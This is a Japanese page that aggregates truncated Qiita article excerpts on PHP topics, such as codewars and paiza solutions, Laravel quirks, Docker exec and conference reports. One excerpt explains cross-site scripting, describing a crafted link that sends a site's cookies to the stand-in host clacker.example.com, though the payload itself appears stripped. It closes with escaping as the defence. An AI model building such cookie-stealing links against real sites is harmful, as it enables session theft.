PHP関連のことを調べてみた

PHP関連のことを調べてみた

【PHP】西暦から世紀を求める方法

# 初めに
最近codewarsというプログラミング練習用のサイトに登録した。私はこれまでのPJでPHPとJSはやっているので、問題はPHPで解いている。その中でこうすればさらに簡潔にプログラムを書けるなという気づきがあったので、備忘録として書く。

## codewars
全て英語だが、他の人が書いた解答を見ることができる。また機会があればまとめる。
https://www.codewars.com/

## 問題の内容
かなりざっくりと書くと、以下のような問題があった。

>西暦から何世紀かを返す関数を書け。例えば西暦2000年は20世紀、西暦1705年は18世紀を返すこと。

このような世紀を求める問題にぴったりの関数がある。

## ceil関数
>ceil(int|float $num): float
必要に応じて num を切り上げ、 num の次に大きい整数値を返します。

https://www.php.net/manual/ja/function.ceil.php

この関数を使えば以下のような処理で西暦から世紀を求めることができる。

“`ruby:PHP
fu

元記事を表示

Fatal Error Insufficient shared memory!(PHP)

## Fatal Error Insufficient shared memory!の対応

### 概要
PHPのバージョン確認しようとするとエラー(Fatal Error Insufficient shared memory!)が出たので対応メモ。

### 環境

クラウドサービス:Microsoft Azure
オペレーティングシステム:Linux(almalinux 8.8)
サイズ:Standard B1s(1 vcpu, 1 GiB メモリ)

### エラー確認

“`shell
# php -v
Fri May 10 11:59:33 2024 (101741): Fatal Error Insufficient shared memory!
“`

どうやらメモリ不足で正常に動作していない様子。
Swapも割り当てられていない様子。

“`shell
# free -h
total used free shared buff/cache available
Mem: 88

元記事を表示

LaravelのCollectionのuniqueメソッドの挙動で気になったのでコードを追ってみた

## ある日の出来事

「複数件のデータが取得できるはずなのに一件分しか取得できてない!」とバグがあがりました。

調べてみると取得クエリのwhereInの引数に渡す際、laravelのpluckで`$collection`から必要な要素を取り出した後にuniqueで重複削除処理をしている部分があるのですがそれによって
想定だと複数の要素が入ってくる予定なのに要素が一つだけになっていました。

###
“`php
// 想定だと [1,2,3,4]と複数が入ってくるはずなのに
//   結果は、[1]が返ってきた
$targetIds = $collection->pluck(‘target_id’)->unique(‘target_id’)

Target::whereIn(‘target_id’,$targetIds)->get();
“`

## 結論
“`php
->pluck(‘target_id’)の部分で [1,2,3,4]のようなデータ構造になっていて
“`
その後にuniqueメソッドの引数で存在してないkeyを渡していたことが原因でした

元記事を表示

クロスサイトスクリプティング

## はじめに

クロスサイトスクリプティングについてまとめる

### クロスサイトスクリプティングとは

エスケープ処理の不備などによって不正なスクリプトが混入/実行されてしまうこと。

### 例

以下のようなコードがあったとき、

“`php:xss.php
こんにちは、さん
“`

ユーザーが以下のリンクを設置すると、http://yawai.example.com/ 上で使用しているクッキー情報をhttp://clacker.example.com/ に送信してしまうことになる。

“`
http://yawai.example.com/yawai.php?name=
“`

### 対策

動的に生成されるすべての値に対してエスケープ処理を施す。

元記事を表示

【PHP】str_repeat関数でfor文をより簡潔に書く

# 初めに
最近codewarsというプログラミング練習用のサイトに登録した。私はこれまでのPJでPHPとJSはやっているので、問題はPHPで解いている。その中でこうすればさらに簡潔にプログラムを書けるなという気づきがあったので、備忘録として書く。

## codewars
全て英語だが、他の人が書いた解答を見ることができる。また機会があればまとめる。
https://www.codewars.com/

## 問題の内容
かなりざっくりと書くと、以下のような問題があった。

>数値nの回数だけ文字列Iを繰り返して出力する

これを見た瞬間に、繰り返しだと判断した私は真っ先にこのような答えを書いた。

“`ruby:PHP
for($i = 0; $i < n; $i++){ echo "I"; } ``` for文を使った基本的な繰り返し文である。例えばn=2の場合,"II"と出力される。 ではこれを関数を使って書きなおしてみよう。 ## str_repeatを使う >str_repeat(string $string, int $times): string
str

元記事を表示

PHPが最悪のプログラミング言語ではないのに、なぜ多くの人が批判するのか?

> それは現在のインターネットの77%を占めているからです。

インターネット上の猫の動画さえも上回る頻繁なPHPへの冗談にもかかわらず、PHPは引き続き主要なサーバーサイドスクリプト言語としての地位を確立しています。実際、驚くべきことに、統計によると、認識されたすべてのウェブサイトの77.4%がPHPで動作しており、その広範な採用を証明しています。これは、ウェブ開発者にとって効率的なPHP開発環境を構築することの重要性を強調しています。

PHPの広範な人気の秘密はそのアクセシビリティにあります。この言語は、「Hello, World!」と宣言するよりも速く、ウェブページやデータベースとの迅速な対話を可能にします。さらに、WordPressのウェブへの影響は否定できません。ウェブサイトの40%以上がこのPHPベースのプラットフォームを利用しています。macOSで作業している開発者にとって、PHPをシームレスに統合する[macOS開発スタック](https://www.servbay.com/)を構成することは、生産性とパフォーマンスを大幅に向上させることができます。

しかし、PHP

元記事を表示

PHPのfilter_var関数で検証を行う

## はじめに
最近ChatGPTでPHPコードを生成した際Filterの存在を知った。
スクラッチ開発でメールアドレスなどの検証を行うのに正規表現を利用していたが標準機能が存在するなら利用しようと思いまとめてみた。
今回はfilter_var関数を使った検証フィルタをいくつかまとめた。他にもさまざまなFilterの機能が存在する。詳しくはPHPマニュアルを確認して欲しい。

※対応バージョンはPHP 5 >= 5.2.0, PHP 7, PHP 8
※一部機能は対応していないバージョンがあるのでマニュアルを確認すること

## Boolean
– “1”、”true”、”on” および “yes”の時trueを返す

| フィルタの型 | |
|:————————|:———————|
| FILTER_VALIDATE_BOOLEAN | FILTER_VALIDATE_BOOL |

### 検証例
– POST送信された値が真(1, true,

元記事を表示

PHPコード保存時にuse文を自動整理したい

# やりたいこと

VS CodeでPHP保存時にuse文に対して以下を行いたい

– アルファベット順にソート
– 不要なuse文の削除

# 探した拡張機能

## 候補1

https://marketplace.visualstudio.com/items?itemName=DEVSENSE.phptools-vscode

この開発元であるDEVSENSEというところの以下の紹介記事がそのものズバリ。

https://blog.devsense.com/2023/sort-uses-and-remove-unused-uses-on-php-file-save

## 候補2

https://marketplace.visualstudio.com/items?itemName=tarik02.php-imports#review-details

拡張機能のREADMEの設定項目を読むとできそうな感じがある。

# やってみる

候補2の`php-imports`を入れてみる。

候補1の`PHP`を使わなかったのは、use文の整理以外にも様々なことを行うオールインワン

元記事を表示

マジックメソッド②

## はじめに

マジックメソッドについて整理する。2回目。

### __toStringメソッド

print命令などでオブジェクトの文字列表現を要求された際

#### 参考コード

“`php:Person.php
class Person
{
public $firstName;
public $lastName;

// 中略

public function __toString() : string
{
return $this->lastName.$this->firstName;
}
}
“`

“`php:toString.php
require_once ‘Person.php’;

$p = new Person(‘太郎’, ‘山田’);
print $p; // 山田太郎
“`

### __invokeメソッド

オブジェクトが関数の形式で呼び出された際。

#### 参考コード

“`FliendList.php
class FliendList implements Iterat

元記事を表示

【PHP8.4】絵文字👨‍👩‍👦‍👦を正しく分割できるようになる

`👨‍👩‍👦‍👦`は25バイトありますが、[これで1文字](https://qiita.com/QUANON/items/2539feed89cee2290664)です。

さて、それでは文字列『絵文字👨‍👩‍👦‍👦を分割』を1文字ずつに分けてみましょう。
現在のPHP標準関数では、これを行うことができません。

[mb_str_split](https://www.php.net/manual/ja/function.mb-str-split.php)すると`[‘絵’, ‘文’, ‘字’, ‘👨’, ‘‍’, ‘👩’, ‘‍’, ‘👦’, ‘‍’, ‘👦’, ‘を’, ‘分’, ‘割’]`になってしまいます。

間の空白なに?

これは[書記素クラスタ](https://qiita.com/_sobataro/items/47989ee4b573e0c2adfc#%E6%9B%B8%E8%A8%98%E7%B4%A0%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%BF-grapheme-cluster)というもので、正直さっぱり理解できないんだけど、なんか[複数の

元記事を表示

コンテナ上でexecコマンドを実行させる際に陥った罠

最近DockerをREST APIで操作していて色々躓いています。
なんとかChat-GPTの力を借りてやっていっています。

今回は、作業しているコンテナから別のコンテナに対して任意のファイルを実行させようとしたときに詰まったことについて紹介していきたいと思います。

何に詰まったかというと、

自分のコンテナ→相手のコンテナのファイル
の実行でPHPのexec関数を用いて
“`php
exec(‘docker exec コンテナID コマンド’);
“`
としていました。
が、まさかのPermission deniedされてしまいます。対象のコンテナ内のファイルの権限が777ではないため、権限不足になってしまいます。
今回は自分がやった対処法について話したいと思います。

# 素直にDockerのREST APIのexec用のAPIを叩きましょう
Dockerにはコンテナでコマンドを実行させるためのAPIが備わっています。
素直にそれを使いましょう。

使い方は
“`php
//host.docker.internalはホストOS上にコンテナを立てたいときに用います。場合によ

元記事を表示

Laravel + nextjsのdocker環境構築・プロジェクト立ち上げ

## 1.導入環境
– M1 pro macbookpro(os:sonoma:14.4.1(23E224))
– docker desktop

## 2.ディレクトリ構成
“`
├── README.md
├── backend
│   └── Dockerfile
├── compose.yaml
├── db
│   └── my.cnf
├── frontend
│   ├── Dockerfile
│   ├── laravel-next
│   └── package-lock.json
└── mysql
└── my.cnf
“`

## 3.各ディレクトリのDockerfileとCompose.yaml
“`Dockerfile:frontend/Dockerfile
#node.jsを採用
FROM node:20.12.2

#作業ディレクトリの設定
WORKDIR /app
“`
“`Dockerfile:backend/Dockerfile
#php8.3を使用するためのDockerfile
FROM php:8.3-apac

元記事を表示

PHPカンファレンス香川2024に行ってきた話

# 初めに
Akira_0809です。
今回は初めてカンファレンスに参加したので、その話をしたいと思います。
ちなみに、私はPHPを学校の授業で少し触った程度で基本文法も知らない状態で参加しました。
![IMG_1220.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3241738/f8a4ce80-26f0-b1fa-0c27-d70526941d49.jpeg)

# 聞いた講演
### カンファレンスからはじめよ by びきニキ
https://fortee.jp/phpconkagawa-2024/proposal/a623e984-0c15-4c5c-9fb5-84049ff09b96

最初の講演はハックツハッカソンなどで少し接点のあったびきニキさんのを聞きました。
カンファレンスに参加するだけでなくその後の行動に繋げることを発信していました。
この記事を書くきっかけです。
また、他のカンファレンスに参加したいと感じました。

### 泥まみれの技術革新: あなたの[ PHPバージョンアッ

元記事を表示

webアプリ開発 パスワードリマインダー編

# 初めに
webアプリを開発したので、開発中に考えたことをまとめます
今回は記事の詳細とコメント機能についてです。

# 開発環境
macOS Sonoma 14.4.1
CentoOS Stream X_86_64
Apache/2.4.57
PHP 8.3.6
mysql Ver 8.0.36
phpMyAdmin 5.2.1
composer version 2.7.2
Laravel Installer 5.7.1
Laravel Framework 11.0.5

# ソースコード

https://github.com/opatu07/portfolio

# 考えたこと
## パスワードリマインダー
### 実装事例
パスワードリマインダーはログイン時にパスワードを忘れてしまったユーザーのために作りたいなと思って作りました。

「ログイン画面でパスワードを忘れてしまった方へ」を押してもらうとパスワード再設定用のメール送信画面へ移動します。

![login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaw

元記事を表示

LaravelでVSCodeがよしなにメソッドを読み込んでくれない

VSCodeも万能じゃない。

## 背景
### なぜか読み込んでくれないからエラーになることがある
ある日、Laravelで外部サービスログイン機能を実装するために、Socialiteをインストールしたら事件は起こった。
**書き方は正しいのにVSCodeが「そんなメソッドはない」と言ってくる!**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3747518/dbd040fc-3c20-05c7-a50f-a2450ea3834b.png)

でも、動かすとちゃんと想定通りに動く。
そりゃちゃんと公式リファレンスの仕様通りに書いてるからね…。

原因を調べると、どうやら読みはあっていたようで、
**動的なインスタンスにはIDEがうまいこと動いてくれていない**らしい。
[~IDEとは~](https://www.redhat.com/ja/topics/middleware/what-is-ide)

解消法を調べていたところ、明示的にクラスパスを指定できる記法なるものがあるらしい

元記事を表示

Webアプリ開発 カテゴリー、タイトル検索編

# 初めに
webアプリを開発したので、開発中に考えたことをまとめます
今回はカテゴリー、タイトル検索機能についてです。

# 開発環境
macOS Sonoma 14.4.1
CentoOS Stream X_86_64
Apache/2.4.57
PHP 8.3.6
mysql Ver 8.0.36
phpMyAdmin 5.2.1
composer version 2.7.2
Laravel Installer 5.7.1
Laravel Framework 11.0.5

# ソースコード

https://github.com/opatu07/portfolio

# 考えたこと
## カテゴリー検索
### 実装事例
![category.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3682713/b34cbb01-92ba-3815-7a9b-1a60218fe7cf.png)

投稿記事一覧の下にあるカテゴリー検索を押すと投稿記事の一覧とカテゴリー別で記事を確認できる

### ビュー

元記事を表示

【PHP】 paizaスキルチェック 文字の一致 解答

### 問題はこちら
https://paiza.jp/works/mondai/d_rank_skillcheck_sample/diff_str

### 解答

“`answer.php

“`

### Point
今回は特に特筆すべき点はありませんが、文字列という指定がありましたので、==ではなく===を利用しています。PHPにおいて、==は型の比較がなく、===では型の一致も確認されます。
### 参照
https://paiza.jp/works/mondai/d_rank_skillcheck_sample/diff_str
PHPの比較演算子について
https://www.php.net/manual/ja/lan

元記事を表示

【PHP】 paizaスキルチェック 一番小さい値 解答

### 問題はこちら
https://paiza.jp/works/mondai/d_rank_skillcheck_sample/min_num

### 解答

“`answer.php

“`

### Point
今回ですが、まず5つの整数を格納する配列を作成して、for文で実際に整数を格納していき、min関数を使って最小値を求めるという手順で書いてみました。

### 参照
https://paiza.jp/works/mondai/

元記事を表示

PHPカンファレンス香川2024に参加してきました #phpconkagawa

# はじめに
[PHPカンファレンス香川2024](https://phpcon.kagawa.jp/2024/)に参加してきました。
[びきニキさんが「みんな、ブログ書こうぜ!!!!」と呼びかけていた](https://x.com/BkNkbot/status/1789273368690376871)ので、久々にQiita記事を書いてみました。

# 聞いた講演とその感想
## PHP コードの実行モデルを理解する
https://fortee.jp/phpconkagawa-2024/proposal/8251b4a5-bb67-4d84-b538-0a018d5cb292

なんとなくPHP-FPMやPHPのCLIを使ってきたので、体系立てて理解する契機になりました。オペコードの中身を初めて見ました。何度も資料を読み込んで深い理解に至りたいです。

## 新米SRE、4つのプロダクトを同時にPHP7.0から8.1へ!!
https://fortee.jp/phpconkagawa-2024/proposal/3746d04f-d0cd-4f02-b603-4132f82c080d

元記事を表示

【PHP】 paizaスキルチェック 足し算 解答

### 問題はこちら
https://paiza.jp/works/mondai/d_rank_skillcheck_sample/addition

### 解答

“`answer.php

“`

### Point
今回の問題では、変数a,変数bが半角スペースで区切られて入力されるという条件があります。fgets関数は一行読み取るという仕様ですので、読み取ったあとそれを分割する必要があります。上記のコードでは、explode関数を使用してスペースで分割しそれぞれの数値を変数に格納しています。

### 参照
https://paiza.jp/works/mondai/d_rank_sk

元記事を表示

OTHERカテゴリの最新記事